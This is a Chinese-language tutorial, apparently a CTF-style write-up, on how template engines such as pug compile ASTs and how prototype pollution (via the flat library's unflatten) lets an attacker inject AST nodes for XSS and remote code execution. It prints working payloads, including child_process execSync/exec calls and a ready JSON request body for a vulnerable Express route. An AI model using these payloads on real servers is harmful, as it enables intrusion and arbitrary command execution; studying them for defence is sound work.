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AST Injection + Prototype pollution to RCE

模版引擎是什么#

JS web 开发中常用的模版引擎如 ejspughandlebars
功能:动态渲染 HTML 代码,创建可重复使用的页面结构

ejs 模版使用

// 安装EJS模块:npm install ejs

// 引入EJS模块
const ejs = require('ejs');

// 定义模板
const template = `
  <h1>Hello, <%= name %>!</h1>
`;

// 渲染模板
const data = { name: 'John' };
const html = ejs.render(template, data);

console.log(html);

handlebars 模版使用

// 安装Handlebars模块:npm install handlebars

// 引入Handlebars模块
const handlebars = require('handlebars');

// 定义模板
const template = `
  <h1>Hello, {{name}}!</h1>
`;

// 编译模板
const compiledTemplate = handlebars.compile(template);

// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

pug 模版使用

// 安装Pug模块:npm install pug

// 引入Pug模块
const pug = require('pug');

// 定义模板
const template = `
  h1 Hello, #{name}!
`;

// 编译模板
const compiledTemplate = pug.compile(template);

// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

模版引擎的工作原理#

词法解析 -> 语法解析 -> 代码生成

image

但是在语法树处理的过程中,如果存在原型链污染,则可以随意修改 AST 树,进而影响生成的代码,最终达到 RCE(远程代码执行)的目的

image

pug template AST injection#

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

当执行到 fn({msg: 'It works'});  这一步的时候,本质上是进入了一段函数

(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
    var locals_for_with = (locals || {});
    
    (function (msg) {
      ;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
    }.call(this, "msg" in locals_for_with ?
        locals_for_with.msg :
        typeof msg !== 'undefined' ? msg : undefined));
    ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})

AST Injection 原理分析#

语法树结构#

pug 解析 h1= msg ,生成的语法树结构:

{
    "type":"Block",
    "nodes":[
        {
            "type":"Tag",
            "name":"h1",
            "selfClosing":false,
            "block":{
                "type":"Block",
                "nodes":[
                    {
                        "type":"Code",
                        "val":"msg",
                        "buffer":true,
                        "mustEscape":true,
                        "isInline":true,
                        "line":1,
                        "column":3
                    }
                ],
                "line":1
            },
            "attrs":[

            ],
            "attributeBlocks":[

            ],
            "isInline":false,
            "line":1,
            "column":1
        }
    ],
    "line":0
}

语法树生成后,会调用 walkAst 执行语法树的解析过程,依次对每个节点的类型进行判断,即如下代码:

function walkAST(ast, before, after, options){
	
	parents.unshift(ast);

    switch (ast.type) {
	    case 'NamedBlock':
	    case 'Block':
	      ast.nodes = walkAndMergeNodes(ast.nodes);
	      break;
	    case 'Case':
	    case 'Filter':
	    case 'Mixin':
	    case 'Tag':
	    case 'InterpolatedTag':
	    case 'When':
	    case 'Code':
	    case 'While':
	      if (ast.block) { // 注意这里
	        ast.block = walkAST(ast.block, before, after, options);
	      }
	      break;
	    case 'Text':
	      break;
	}
	parents.shift();

}

语法树执行顺序#

以刚刚生成的语法树结构举例,解析顺序为:

  1. Block
  2. Tag
  3. Block
  4. Code
  5. …?

注意第 4 步解析 node.TypeCode 类型,会执行如下代码:

	    case 'Code':
	    case 'While':
	      if (ast.block) { // 注意这里
	        ast.block = walkAST(ast.block, before, after, options);
	      }
  1. 判断 ast.block 属性是否存在,此处的 ast 即当前 ast 语法树的节点
  2. 如果存在,继续递归解析 block

结合原型链污染#

如果某处存在原型链污染漏洞,使得

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

那么 ast.block 就会访问到 ast.__proto__.block ,即Object.prototype.block 的属性

此时代码输出结果,导致了 XSS

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

RCE#

我们知道 pug 本质上是将一段代码,如 h1 =msg 编译为一段 js 代码,背后其实就是生成语法树 + new Function

因此如果能通过 AST Injection 插入节点,并使之成为代码,即可达到远程代码执行的目的。

刚好 pug 中就有如下代码:

// /node_modules/pug-code-gen/index.js
  
if (debug && node.debug !== false && node.type !== 'Block') {  
    if (node.line) {  
        var js = ';pug_debug_line = ' + node.line;  
        if (node.filename)  
            js += ';pug_debug_filename = ' + stringify(node.filename);  
        this.buf.push(js + ';');  
    }  
}  

那么我们通过 AST Injection + Prototype Pollution 即可实现 RCE

const pug = require('pug');

Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html);

Attack example#

express 开发的 web 服务,其中一个 CGI 如下:

router.post('/api/submit', (req, res) => {
    const { song } = unflatten(req.body);

	if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
		return res.json({
			'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the name of an existing song.'
		});
	}
});

本地跑起来后运行在 1337 端口:

image

原型链污染#

注意到这一行代码:

const { song } = unflatten(req.body);

unflatten 这个库存在原型链污染

var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true

AST Injection#

注意到这一行代码:

pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })

结合原型链污染,可以实现 RCE

{
       "song.name": "The Goose went wild", 
        "__proto__.block":{
            "type":"Text",
			"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // 可以执行任意命令
		}
}

参考#

https://blog.p6.is/AST-Injection/

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